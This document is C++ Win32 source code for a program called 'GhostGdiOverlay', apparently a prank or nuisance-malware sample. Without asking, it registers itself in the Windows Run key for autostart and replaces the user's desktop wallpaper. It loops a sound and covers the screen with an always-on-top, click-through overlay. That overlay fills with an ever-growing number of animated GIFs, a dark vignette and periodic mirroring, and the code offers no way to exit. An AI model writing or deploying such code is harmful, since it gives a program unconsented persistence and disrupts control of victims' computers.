Загрузка данных


#pragma comment(lib, "gdiplus.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "winmm.lib")
#pragma comment(lib, "msimg32.lib")

#include <windows.h>
#include <gdiplus.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <mmsystem.h>
#include <vector>
#include <cstdlib>
#include <ctime>
#include <cmath>
#include <algorithm>

using namespace Gdiplus;

// ============================================================================
// Описание интерфейса IActiveDesktop для смены обоев
// ============================================================================
#ifndef INTERFACE
#define INTERFACE IActiveDesktop
#endif

#define AD_APPLY_SAVE             0x00000001
#define AD_APPLY_HTMLGEN          0x00000002
#define AD_APPLY_REFRESH          0x00000004
#define AD_APPLY_ALL              (AD_APPLY_SAVE | AD_APPLY_HTMLGEN | AD_APPLY_REFRESH)

struct WALLPAPEROPT {
    DWORD dwSize;
    DWORD dwStyle;
};

const CLSID CLSID_ActiveDesktop = { 0x75048700, 0xEF1F, 0x11D0, { 0x98, 0x88, 0x00, 0x60, 0x97, 0xDE, 0xAC, 0xF9 } };
const IID IID_IActiveDesktop = { 0xF490EB00, 0x1240, 0x11D1, { 0x98, 0x88, 0x00, 0x60, 0x97, 0xDE, 0xAC, 0xF9 } };

DECLARE_INTERFACE_(IActiveDesktop, IUnknown)
{
    STDMETHOD(QueryInterface)(THIS_ REFIID riid, void** ppvObj) PURE;
    STDMETHOD_(ULONG, AddRef)(THIS) PURE;
    STDMETHOD_(ULONG, Release)(THIS) PURE;
    STDMETHOD(ApplyChanges)(THIS_ DWORD dwFlags) PURE;
    STDMETHOD(GetWallpaper)(THIS_ PWSTR pwszWallpaper, UINT cchWallpaper, DWORD dwFlags) PURE;
    STDMETHOD(SetWallpaper)(THIS_ PCWSTR pwszWallpaper, DWORD dwReserved) PURE;
    STDMETHOD(GetWallpaperOptions)(THIS_ WALLPAPEROPT * pwpo, DWORD dwReserved) PURE;
    STDMETHOD(SetWallpaperOptions)(THIS_ WALLPAPEROPT * pwpo, DWORD dwReserved) PURE;
};
// ============================================================================

struct DynamicGif {
    int x;
    int y;
    size_t typeIndex;
    UINT currentFrame;
    UINT frameCount;
};

std::vector<DynamicGif> g_ActiveGifs;

const WORD g_GifResourceIDs[3] = { 101, 103, 104 };
int g_TargetWidth[3] = { 0, 0, 0 };
int g_TargetHeight[3] = { 0, 0, 0 };
UINT g_FrameCounts[3] = { 0, 0, 0 };

std::vector<Bitmap*> g_GifFramesCache[3];

int g_ScreenWidth = 0;
int g_ScreenHeight = 0;

HDC g_hdcVignette = nullptr;
HBITMAP g_hbmVignette = nullptr;
void* g_pVignetteBits = nullptr;

bool g_DrawMirrored = false;

const UINT_PTR TIMER_ANIMATION = 1;
const UINT_PTR TIMER_SPAWN = 2;
const UINT_PTR TIMER_TOPMOST = 3;
const UINT_PTR TIMER_TOGGLE_MIRROR = 4;

void SetupRegistryAutostart() {
    wchar_t szPath[MAX_PATH];
    if (GetModuleFileNameW(NULL, szPath, MAX_PATH)) {
        HKEY hKey;
        if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
            RegSetValueExW(hKey, L"GhostGdiOverlay", 0, REG_SZ, (BYTE*)szPath, (lstrlenW(szPath) + 1) * sizeof(wchar_t));
            RegCloseKey(hKey);
        }
    }
}

void ChangeWallpaper() {
    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);

    wchar_t szPath[MAX_PATH];
    if (SHGetFolderPathW(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, szPath) == S_OK) {
        PathAppendW(szPath, L"bg_wallpaper.png");
    }
    else {
        GetModuleFileNameW(NULL, szPath, MAX_PATH);
        PathRemoveFileSpecW(szPath);
        PathAppendW(szPath, L"bg_wallpaper.png");
    }

    HMODULE hInst = GetModuleHandle(NULL);
    HRSRC hResInfo = FindResource(hInst, MAKEINTRESOURCE(105), RT_RCDATA);
    if (hResInfo) {
        DWORD resSize = SizeofResource(hInst, hResInfo);
        HGLOBAL hResData = LoadResource(hInst, hResInfo);
        if (hResData) {
            void* pResView = LockResource(hResData);
            if (pResView) {
                HANDLE hFile = CreateFileW(szPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
                if (hFile != INVALID_HANDLE_VALUE) {
                    DWORD written;
                    WriteFile(hFile, pResView, resSize, &written, NULL);
                    CloseHandle(hFile);
                }
            }
        }
    }

    if (PathFileExistsW(szPath)) {
        HKEY hKey;
        if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Control Panel\\Desktop", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
            RegSetValueExW(hKey, L"Wallpaper", 0, REG_SZ, (BYTE*)szPath, (lstrlenW(szPath) + 1) * sizeof(wchar_t));
            RegCloseKey(hKey);
        }
        IActiveDesktop* pActiveDesktop = nullptr;
        if (SUCCEEDED(CoCreateInstance(CLSID_ActiveDesktop, NULL, CLSCTX_INPROC_SERVER, IID_IActiveDesktop, (void**)&pActiveDesktop))) {
            pActiveDesktop->SetWallpaper(szPath, 0);
            pActiveDesktop->ApplyChanges(AD_APPLY_ALL);
            pActiveDesktop->Release();
        }
        SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, (void*)szPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
    }
    CoUninitialize();
}

bool LoadAndCacheGif(HMODULE hMod, WORD resID, size_t index) {
    HRSRC hResInfo = FindResource(hMod, MAKEINTRESOURCE(resID), RT_RCDATA);
    if (!hResInfo) return false;
    DWORD resSize = SizeofResource(hMod, hResInfo);
    HGLOBAL hResData = LoadResource(hMod, hResInfo);
    if (!hResData) return false;
    void* pResView = LockResource(hResData);
    if (!pResView) return false;
    HGLOBAL hBuffer = GlobalAlloc(GMEM_MOVEABLE, resSize);
    if (!hBuffer) return false;
    void* pBuffer = GlobalLock(hBuffer);
    if (pBuffer) { CopyMemory(pBuffer, pResView, resSize); GlobalUnlock(hBuffer); }

    IStream* pStream = nullptr;
    if (CreateStreamOnHGlobal(hBuffer, TRUE, &pStream) != S_OK) { GlobalFree(hBuffer); return false; }

    Image* pImg = Image::FromStream(pStream);
    if (!pImg || pImg->GetLastStatus() != Status::Ok) {
        if (pImg) delete pImg;
        pStream->Release();
        return false;
    }

    if (index == 2) {
        g_TargetWidth[index] = pImg->GetWidth();
        g_TargetHeight[index] = pImg->GetHeight();
    }
    else {
        g_TargetWidth[index] = pImg->GetWidth() / 2;
        g_TargetHeight[index] = pImg->GetHeight() / 2;
    }

    UINT dimensionCount = pImg->GetFrameDimensionsCount();
    std::vector<GUID> pDimensionIDs(dimensionCount);
    pImg->GetFrameDimensionsList(pDimensionIDs.data(), dimensionCount);
    UINT frameCount = pImg->GetFrameCount(&pDimensionIDs[0]);
    g_FrameCounts[index] = frameCount;

    GUID pageGuid = FrameDimensionTime;

    for (UINT f = 0; f < frameCount; ++f) {
        pImg->SelectActiveFrame(&pageGuid, f);
        Bitmap* cachedFrame = new Bitmap(g_TargetWidth[index], g_TargetHeight[index], PixelFormat32bppARGB);
        Graphics g(cachedFrame);
        g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
        g.DrawImage(pImg, 0, 0, g_TargetWidth[index], g_TargetHeight[index]);
        g_GifFramesCache[index].push_back(cachedFrame);
    }

    delete pImg;
    pStream->Release();
    return true;
}

void InitVignetteBuffer() {
    HDC hdcScreen = GetDC(NULL);
    g_hdcVignette = CreateCompatibleDC(hdcScreen);

    BITMAPINFO bmi = { 0 };
    bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmi.bmiHeader.biWidth = g_ScreenWidth;
    bmi.bmiHeader.biHeight = -g_ScreenHeight;
    bmi.bmiHeader.biPlanes = 1;
    bmi.bmiHeader.biBitCount = 32;
    bmi.bmiHeader.biCompression = BI_RGB;

    g_hbmVignette = CreateDIBSection(g_hdcVignette, &bmi, DIB_RGB_COLORS, &g_pVignetteBits, NULL, 0);
    SelectObject(g_hdcVignette, g_hbmVignette);

    DWORD* dst = reinterpret_cast<DWORD*>(g_pVignetteBits);
    float cx = g_ScreenWidth / 2.0f;
    float cy = g_ScreenHeight / 2.0f;

    for (int y = 0; y < g_ScreenHeight; ++y) {
        for (int x = 0; x < g_ScreenWidth; ++x) {
            float nx = (x - cx) / cx;
            float ny = (y - cy) / cy;
            float vDist = (nx * nx) + (ny * ny);
            float vFactor = vDist * 0.70f;
            if (vFactor > 1.0f) vFactor = 1.0f;

            BYTE alpha = static_cast<BYTE>(vFactor * 160);
            dst[y * g_ScreenWidth + x] = (alpha << 24);
        }
    }
    ReleaseDC(NULL, hdcScreen);
}

void UpdateOverlayWindow(HWND hWnd) {
    HDC hdcScreen = GetDC(NULL);
    HDC hdcMem = CreateCompatibleDC(hdcScreen);

    BITMAPINFO bmi = { 0 };
    bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmi.bmiHeader.biWidth = g_ScreenWidth;
    bmi.bmiHeader.biHeight = -g_ScreenHeight;
    bmi.bmiHeader.biPlanes = 1;
    bmi.bmiHeader.biBitCount = 32;
    bmi.bmiHeader.biCompression = BI_RGB;

    void* pBits = nullptr;
    HBITMAP hbmMem = CreateDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &pBits, NULL, 0);
    HBITMAP hOldBm = (HBITMAP)SelectObject(hdcMem, hbmMem);

    memset(pBits, 0, g_ScreenWidth * g_ScreenHeight * 4);

    Graphics graphics(hdcMem);
    graphics.SetCompositingMode(CompositingModeSourceOver);
    graphics.SetInterpolationMode(InterpolationModeLowQuality);

    for (const auto& gif : g_ActiveGifs) {
        if (gif.currentFrame < g_GifFramesCache[gif.typeIndex].size()) {
            Bitmap* frame = g_GifFramesCache[gif.typeIndex][gif.currentFrame];
            graphics.DrawImage(frame, gif.x, gif.y, g_TargetWidth[gif.typeIndex], g_TargetHeight[gif.typeIndex]);
        }
    }

    BLENDFUNCTION blendVignette = { AC_SRC_OVER, 0, 255, AC_SRC_ALPHA };
    AlphaBlend(hdcMem, 0, 0, g_ScreenWidth, g_ScreenHeight, g_hdcVignette, 0, 0, g_ScreenWidth, g_ScreenHeight, blendVignette);

    POINT ptSrc = { 0, 0 }; POINT ptDst = { 0, 0 }; SIZE sizeSpl = { g_ScreenWidth, g_ScreenHeight };
    BLENDFUNCTION blendWindow = { AC_SRC_OVER, 0, 255, AC_SRC_ALPHA };
    UpdateLayeredWindow(hWnd, hdcScreen, &ptDst, &sizeSpl, hdcMem, &ptSrc, 0, &blendWindow, ULW_ALPHA);

    SelectObject(hdcMem, hOldBm); DeleteObject(hbmMem); DeleteDC(hdcMem); ReleaseDC(NULL, hdcScreen);
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {
    switch (message) {
    case WM_CREATE: {
        SetTimer(hWnd, TIMER_ANIMATION, 16, NULL);
        SetTimer(hWnd, TIMER_SPAWN, 350, NULL);
        SetTimer(hWnd, TIMER_TOPMOST, 10, NULL);
        SetTimer(hWnd, TIMER_TOGGLE_MIRROR, 700, NULL);
        return 0;
    }
    case WM_TIMER: {
        if (wParam == TIMER_ANIMATION) {
            for (auto& gif : g_ActiveGifs) {
                gif.currentFrame++;
                if (gif.currentFrame >= gif.frameCount) {
                    gif.currentFrame = 0;
                }
            }
            UpdateOverlayWindow(hWnd);
        }
        else if (wParam == TIMER_SPAWN) {
            DynamicGif newGif;
            newGif.typeIndex = rand() % 3;
            newGif.x = rand() % max(1, (g_ScreenWidth - g_TargetWidth[newGif.typeIndex]));
            newGif.y = rand() % max(1, (g_ScreenHeight - g_TargetHeight[newGif.typeIndex]));
            newGif.currentFrame = 0;
            newGif.frameCount = g_FrameCounts[newGif.typeIndex];
            g_ActiveGifs.push_back(newGif);
        }
        else if (wParam == TIMER_TOPMOST) {
            SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, g_ScreenWidth, g_ScreenHeight, SWP_NOACTIVATE | SWP_NOMOVE | SWP_NOSIZE);
        }
        else if (wParam == TIMER_TOGGLE_MIRROR) {
            g_DrawMirrored = !g_DrawMirrored;
            LONG_PTR exStyle = GetWindowLongPtr(hWnd, GWL_EXSTYLE);

            if (g_DrawMirrored) {
                SetWindowLongPtr(hWnd, GWL_EXSTYLE, exStyle | WS_EX_LAYOUTRTL);
            }
            else {
                SetWindowLongPtr(hWnd, GWL_EXSTYLE, exStyle & ~WS_EX_LAYOUTRTL);
            }
            SetWindowPos(hWnd, NULL, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED | SWP_NOACTIVATE);
        }
        return 0;
    }
    case WM_DESTROY: {
        KillTimer(hWnd, TIMER_ANIMATION); KillTimer(hWnd, TIMER_SPAWN); KillTimer(hWnd, TIMER_TOPMOST); KillTimer(hWnd, TIMER_TOGGLE_MIRROR);
        PostQuitMessage(0); return 0;
    }
    default: return DefWindowProc(hWnd, message, wParam, lParam);
    }
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    srand(static_cast<unsigned int>(time(NULL)));

    SetupRegistryAutostart();

    GdiplusStartupInput gdiplusStartupInput; ULONG_PTR gdiplusToken;
    GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);

    ChangeWallpaper();

    g_ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
    g_ScreenHeight = GetSystemMetrics(SM_CYSCREEN);

    bool loadedAtLeastOne = false;
    for (size_t i = 0; i < 3; ++i) {
        if (LoadAndCacheGif(hInstance, g_GifResourceIDs[i], i)) {
            loadedAtLeastOne = true;
        }
    }
    if (!loadedAtLeastOne) { GdiplusShutdown(gdiplusToken); return 1; }

    InitVignetteBuffer();

    PlaySoundW(MAKEINTRESOURCEW(102), hInstance, SND_RESOURCE | SND_ASYNC | SND_LOOP);

    const wchar_t CLASS_NAME[] = L"GhostGdiOverlayClass";
    WNDCLASS wc = { }; wc.lpfnWndProc = WndProc; wc.hInstance = hInstance; wc.lpszClassName = CLASS_NAME;
    RegisterClass(&wc);

    HWND hWnd = CreateWindowEx(
        WS_EX_TOPMOST | WS_EX_LAYERED | WS_EX_TRANSPARENT | WS_EX_TOOLWINDOW,
        CLASS_NAME, L"", WS_POPUP,
        0, 0, g_ScreenWidth, g_ScreenHeight, NULL, NULL, hInstance, NULL
    );

    if (hWnd == NULL) {
        PlaySoundW(NULL, NULL, 0);
        if (g_hbmVignette) DeleteObject(g_hbmVignette); if (g_hdcVignette) DeleteDC(g_hdcVignette);
        for (size_t i = 0; i < 3; ++i) {
            for (auto frame : g_GifFramesCache[i]) delete frame;
        }
        GdiplusShutdown(gdiplusToken); return 0;
    }

    SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, g_ScreenWidth, g_ScreenHeight, SWP_SHOWWINDOW);

    MSG msg = { };
    while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); }

    PlaySoundW(NULL, NULL, 0);
    if (g_hbmVignette) DeleteObject(g_hbmVignette); if (g_hdcVignette) DeleteDC(g_hdcVignette);
    for (size_t i = 0; i < 3; ++i) {
        for (auto frame : g_GifFramesCache[i]) delete frame;
    }
    GdiplusShutdown(gdiplusToken); return 0;
}